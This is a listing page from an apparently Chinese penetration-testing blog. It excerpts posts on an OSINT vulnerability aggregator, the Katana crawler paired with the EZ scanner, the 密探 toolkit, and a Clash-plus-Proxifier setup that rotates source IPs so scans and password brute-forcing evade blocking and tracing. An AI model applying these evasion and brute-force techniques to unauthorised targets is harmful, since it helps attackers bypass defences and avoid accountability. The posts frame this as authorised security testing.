简介在渗透测试与网络安全研究中,漏洞情报的获取效率直接影响测试深度与响应速度。这款开源情报工具核心定位为「公开漏洞资源聚合平台」,通过自动化收集互联网上合法公开的漏洞数据(如CNNVD、CVE官方披露信息、开源社区漏洞报告等),为安全从业者提供一站式资源查询入口,彻底告别手动检索、信息零散的痛点。工具的核心价值在于「精准聚合+高效利用」:一方面,它自动爬取并整理公开渠道的漏洞详情,包括漏洞名称、危险等级、影响厂商、漏洞描述、参考链接及官方补丁等关键信息,无需用户在多个平台间切换筛选;另一方面,通过结构化展示(分级标注、关键词搜索、分页查询),让渗透测试人员能快速定位目标相关漏洞,降低情报收集的时间成本,更专注于漏洞验证与防护方案落地。{abtn icon="fa-eercast" color="#000000" href="https://www.52tt.pro/tools/osint/" radius="" content="OSINT - 开源情报 | 点击进入"/}实时漏洞实时动态更新漏洞信息。公益Fofa当前是临时版,前端之后会大改,现在常用的 Fofa 搜索语句都保留着,能实时免费查 Fofa 数据。更新计划{timeline}{timeline-item color="#19be6b"}公益Fofa(免费使用)已推出{/timeline-item}{timeline-item color="#19be6b"}全新版本资产测绘系统,更新中 ...{/timeline-item}{/timeline}免责声明仅用于合法授权的渗透测试、网络安全研究与防护演练。数据源于互联网公开资源,严禁非法攻击行为。请严格遵守《网络安全法》及相关法规,坚守合规伦理底线。
2025年11月04日
1,431 阅读
2 评论
262 点赞
2025-10-08
【工具分享】天阶藏宝阁 - 元创篇
由来在浮世万象的数据洪流之上,有一座隐于虚空的天阶藏宝阁。 传说,那是“发光的神”静坐的所在,代码化作灵气,程序如宝玉悬浮其间。 每一件神器(工具、系统、源码)皆被悉心收录,化作一页灵卷,闪烁着独属于创作者的灵光。 此阁不仅是展示,更是收藏与传承的容器。 它象征着「秩序与灵感」的平衡——让代码与艺术并存,让开发者的世界观得以具象化。 在未来,天阶藏宝阁将继续扩展更多形态,化为次元空间的文库,收纳万象神器,照亮无数创作者的道路。 「浮世万象,皆藏于此阁中。灵光不灭,万物归一。」—— 发光的神 · 天阶阁主{mtitle title="剑指九天,问道苍穹"/}神兵图鉴 .lantern { display: inline-flex; align-items: center; justify-content: center; gap: 8px; padding: 11px 10px; border-radius: 16px; color: #2a1c0a; font-weight: 900; letter-spacing: 0.16em; background: radial-gradient(120px 40px at 10% 20%, #fff7d6, #ffe08a 60%, #f3d27a 95%); border: 1px solid #e5c56a; box-shadow: 0 0 26px rgba(243,210,122,.38), inset 0 0 10px rgba(255,245,210,.7); cursor: pointer; text-decoration: none; transition: all .35s ease; } .lantern:hover { transform: translateY(-3px); box-shadow: 0 0 40px rgba(243,210,122,.55), inset 0 0 16px rgba(255,250,220,.9); background: radial-gradient(120px 40px at 15% 30%, #fff8d9, #ffd76e 60%, #f3d27a 90%); } .lantern:active { transform: translateY(0); box-shadow: 0 0 18px rgba(243,210,122,.4), inset 0 0 8px rgba(255,240,190,.7); } 🏮进入藏宝阁
2025年10月08日
1,651 阅读
3 评论
306 点赞
2025-05-28
【攻防技术】Proxifier + Clash 轮询代理隐藏真实IP
简介在当前攻防对抗中,大多数目标单位均配有安全设备,如 WAF、IPS、防火墙等,渗透过程中常常出现 IP 被封现象。为了降低暴露风险,本篇以实战角度出发,结合 Clash 的轮询负载均衡与 Proxifier 联动,实现 IP 动态切换,最大程度隐藏真实身份,避免被溯源。负载均衡配置流程先到设置(Settings)里找到 Parsers 这个选项,点击编辑(Edit)。把以下配置填进去,然后进行保存。Clash 负载均衡配置parsers: - reg: 'Proxy$' yaml: append-proxy-groups: - name: ⚖️ 负载均衡-散列 type: load-balance url: 'http://www.google.com/generate_204' interval: 300 strategy: consistent-hashing - name: ⚖️ 负载均衡-轮询 type: load-balance url: 'http://www.google.com/generate_204' interval: 300 strategy: round-robin commands: - proxy-groups.⚖️ 负载均衡-散列.proxies=[]proxyNames - proxy-groups.0.proxies.0+⚖️ 负载均衡-散列 - proxy-groups.⚖️ 负载均衡-轮询.proxies=[]proxyNames - proxy-groups.0.proxies.0+⚖️ 负载均衡-轮询这段配置就干了两件事:新增两个 "负载均衡" 分组散列分组:用一致性哈希(consistent-hashing)把请求分给各节点轮询分组:用轮询(round-robin)依次分给各节点两个分组都会每 300 秒去 http://www.google.com/generate_204 测一次可用性。把现有的所有代理都加到这两个分组里,并且把这两个分组排到代理组列表的最前面。这样配置后,就可以在用代理 选 "负载均衡-散列" 或 "负载均衡-轮询" 来智能分发流量。然后到 Profiles 里设置下节点配置。在 URL 最后加上 #Proxy,即可触发 Clash 中对应的 Parsers 规则,添加完成后点击 OK 保存即可。再刷新下就会出现 负载均衡-散列 跟 负载均衡-轮询 选项,这里我先选着轮询配合以下 Proxifier 做演示。工具联动先配置下 Proxifier,找到 Proxy Servers。根据序号步骤操作添加 Clash 代理服务IP跟端口,协议设置socks5,配置好了就点 ok 保存。配置代理规则,填好了一路保存,这里我指定了 Tscan Plus 渗透测试工具,以下是测试。效果对比不用负载均衡可以发现在没有使用负载均衡的情况下,扫描服务器的IP始终保持同一个,而且流量多了很快就被发现封禁。使用负载均衡使用了负载均衡,扫描服务器的IP地址在实时发生变化。(不是扫一次暂停变化,而是一直扫,一直变)监听脚本import socket from datetime import datetime HOST = '0.0.0.0' PORT = 5201 def start_listener(): with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as server: server.bind((HOST, PORT)) server.listen(5) print(f"[√] 正在监听 {HOST}:{PORT} ...") while True: conn, addr = server.accept() ip, port = addr now = datetime.now().strftime("%Y-%m-%d %H:%M:%S") print(f"[{now}] [+] 连接来自:{ip}:{port}") conn.close() if __name__ == "__main__": start_listener()总结轮询(Round-Robin)机制说明:请求按照顺序分配给不同代理节点。节点越多,切换越频繁。例如有 3 个代理,顺序为 1→2→3→1→2...渗透应用场景:目录扫描、接口 Fuzz、密码爆破等高频操作绕过单个 IP 的限频和封锁限制模拟大规模并发访问特点:每次请求更换 IP,具备较强的防封能力多节点可实现带宽叠加,提高打点效率会话状态无法保持,易导致登录状态丢失IP 波动频繁,容易被风控识别为异常行为常见用途:配合测速工具或并发爆破程序使用,可显著提升速度和效果。一致性哈希(Consistent Hashing)机制说明:使用哈希算法将请求绑定到特定代理节点,相同域名始终走同一个 IP。节点变化对大多数请求影响较小。渗透应用场景:需要维持登录态或会话的系统交互操作模拟真实用户行为,降低风控触发概率长时间稳定访问目标系统(如后台、管理系统)特点:请求稳定,适合登录类或认证类操作隐蔽性好,不容易被系统识别为异常用户IP 固定,无法绕过限速策略无法叠加带宽,打点效率低于轮询模式常见用途:适用于登录后台、提交表单、敏感数据抓取等操作。策略总结策略适用场景优点缺点轮询高频打点、爆破、探测IP 轮换快、防封、效率高会话不连续、易触发风控哈希登录、维稳、数据交互IP 稳定、隐蔽性好无法绕过限速、带宽不可叠加其它除了 Proxifier 配合 Clash 的轮询代理机制,以下是常见的隐藏真实 IP 手段,适用于不同攻防场景:移动网络切换通过开启/关闭飞行模式或重新启用手机流量,获取新的公网动态 IP,适用于移动端或笔记本热点环境。优点:快速低成本切换缺点:依赖运营商分配动态 IP,速度受限拔插网卡重拨在宽带环境中,通过禁用/启用网卡或拔插网线,触发重新拨号获取新 IP(前提是动态拨号)。优点:操作简单,适合家庭网络缺点:频繁切换可能无效,部分地区为固定 IP公网代理池使用公开或自建的高匿代理列表,通过程序自动轮询切换,适合大规模扫描和爆破任务。优点:适用于并发、分布式请求缺点:不稳定,部分代理已被目标封禁VPN / 云主机节点轮换租用多个 VPS 或使用支持节点切换的商业 VPN,实现按需更换出口 IP。优点:稳定高效,适合重度任务缺点:成本较高,配置复杂Tor / I2P 等匿名网络借助多层加密路由隐藏真实地址,适用于需要高度匿名的通信或探测行为。优点:匿名性强缺点:延迟高,无法满足高频请求需求云函数中转利用 Cloudflare Workers、腾讯云函数、Vercel 等平台搭建中转代理,将请求伪装为云服务出口流量。优点:隐蔽性强,易于绕过封禁缺点:平台限流,需一定配置经验
2025年05月28日
921 阅读
3 评论
52 点赞
2025-05-20
【工具分享】Katana + EZ 自动化漏洞打点
今日分享Katana 是由 ProjectDiscovery 团队开发的开源命令行 Web 爬虫工具,采用 Go 语言编写,具备高性能、强定制、易集成等特点,专为安全研究、渗透测试与自动化平台设计。它支持静态链接抓取和 JavaScript 动态内容解析,可深入单页应用(SPA)提取隐藏接口、动态 URL 与表单字段,同时具备字段提取、代理支持、多模式运行(标准/无头浏览器)等能力。Katana 输出格式友好,支持 JSON 与标准流,便于与 nuclei、httpx、ez 等工具联动,构建自动化漏洞打点流程。工具联动我比较推荐这种组合方式:Katana + ez,先通过 Katana 获取爬虫数据,再交由 ez 去验证漏洞,整体流程更全面也更自动化。推荐理由: Katana:快速、高效,支持 JS 解析和字段提取,能发现隐藏路径、API 接口。ez:专注于漏洞验证,适合对爬取结果做进一步测试与利用。ez webscan先启动 ez 的被动扫描。Katana -list urls.txt -proxy http://127.0.0.1:2222利用 Katana 爬取出的数据代理转发给 ez 进行漏洞扫描。工具下载 .link-block { display: flex; align-items: center; justify-content: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; cursor: pointer; transition: background 0.2s ease; } .link-block:hover { background-color: #e0e0e0; } .link-block svg { width: 20px; height: 20px; fill: currentColor; margin-right: 12px; } 🕷️ Katana 爬虫引擎 由 ProjectDiscovery 团队打造的命令行 Web 爬虫工具,支持 JS 渲染、动态内容识别与字段提取,适用于漏洞挖掘与自动化信息收集。 立即前往 GitHub 下载 Katana
2025年05月20日
745 阅读
0 评论
56 点赞
2025-05-19
【工具分享】EZ 工具 主动+被动一站搞定
今日分享 EZ 是由 M-SEC 社区开发的一款跨平台漏洞扫描器,专为渗透测试和安全评估设计。它集成了信息收集、端口扫描、服务爆破、URL 爬虫、指纹识别和被动扫描等多种功能,能够帮助安全专家发现常见的网络漏洞。核心功能信息收集与指纹识别:识别目标系统的操作系统、服务和应用程序等信息。端口扫描与服务爆破:检测开放端口并尝试破解常见服务的认证。URL 爬虫与被动扫描:自动爬取网站链接,进行漏洞检测。漏洞检测:支持检测 SQL 注入、XSS、XXE、SSRF 等常见漏洞。内置 POC 支持:集成了 Apache Shiro、RabbitMQ、Struts2 等组件的漏洞检测。Web 界面操作:提供图形化界面,方便用户进行任务管理和结果查看。使用方法下载与安装:从 GitHub 或 M-SEC 社区获取 EZ 工具的二进制文件。证书申请:注册 M-SEC 社区账号,并在个人中心申请证书(有效期为一个月)。启动工具:将证书放置于 EZ 工具目录下,使用命令行启动,如:ez webscan -u http://example.comWeb 界面:通过命令 ez web 启动 Web 界面,进行可视化操作。被动扫描:监听本地代理流量进行被动扫描,命令如下:ez webscan工具下载 .link-block { display: flex; align-items: center; justify-content: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; cursor: pointer; transition: background 0.2s ease; } .link-block:hover { background-color: #e0e0e0; } .link-block svg { width: 20px; height: 20px; fill: currentColor; margin-right: 12px; } 🚀 EZ 漏洞扫描器 多功能漏洞扫描器,支持信息收集、端口扫描、服务爆破、URL 爬虫与指纹识别,适用于渗透测试与红队评估。 立即前往 GitHub 下载 EZ
2025年05月19日
524 阅读
0 评论
47 点赞
2025-05-18
【工具分享】密探工具,渗透起手第一步
今日分享密探是一款面向红队实战与SRC挖掘场景的多功能渗透测试工具,整合了信息收集、资产测绘、漏洞探测、弱口令破解、接口抓取等核心功能,旨在帮助网络安全学习者和从业者快速上手实战渗透流程。核心亮点全流程覆盖:集成信息收集、资产测绘、目录扫描、接口探测、弱口令爆破等模块,覆盖红队与SRC实战关键环节。多引擎资产测绘:支持 FOFA、Hunter、Quake、ZoomEye、零零信安等平台的数据查询、聚合导出与联动扫描。子域名递归爆破:具备高效的子域名爆破能力,支持多级递归与 title/title\_hash 获取,并内置聚合查询接口。文件与备份扫描:支持通配目录扫描、自定义字典、备份文件识别、Spring 漏洞路径等常见弱点探测。指纹识别联动:自动识别网站指纹,并可联动敏感信息、接口、路径模块,辅助精准定位攻击面。弱口令批量检测:内置多种服务协议(MySQL、Redis、SSH、Socks5等)弱口令爆破功能,支持测绘数据联动爆破。敏感接口探测:整合 Swagger 接口抓取与未授权调用检测,自动识别高危 HTTP 方法与 API 返回数据。工具箱辅助功能:包含 JWT 爆破、SessionKey 加解密、社工字典生成器、搜索语法生成器等实用渗透辅助工具。渗透备忘录体系:集成 Markdown 编辑器,支持自定义知识路线与模块目录,适合记录实战经验与技巧笔记。可视化交互体验:提供统一皮肤、历史记录缓存、右键操作、状态高亮等丰富 UI 细节,提升渗透测试操作流畅度。子域挖掘资产测绘批量权重网站导航常见问题JavaFX 报错:Java 11 及以上版本需手动下载 JavaFX SDK 并配置模块路径,建议优先使用 JDK 8。界面乱码问题:运行程序时添加 -Dfile.encoding=UTF-8 启动参数,可避免中文乱码。ZoomEye 查询失败:普通账户每日查询额度有限,建议关注官方公众号获取积分或升级为高级会员。程序无法启动或闪退:请确认本地环境为 JDK 8,优先使用 GitHub 官方版本运行,避免第三方打包问题。工具下载 .link-block { display: flex; align-items: center; justify-content: center; padding: 14px 20px; border-radius: 12px; background-color: #f3f4f6; text-decoration: none; color: #111; font-weight: 500; cursor: pointer; transition: background 0.2s ease; } .link-block:hover { background-color: #e0e0e0; } .link-block svg { width: 20px; height: 20px; fill: currentColor; margin-right: 12px; } 🚀 密探渗透测试工具 多功能渗透测试工具,适用于红队、SRC、安全研究,支持信息收集、测绘、扫描与爆破。 立即前往 GitHub 下载密探
2025年05月18日
356 阅读
0 评论
50 点赞
1
2
...
14
0:00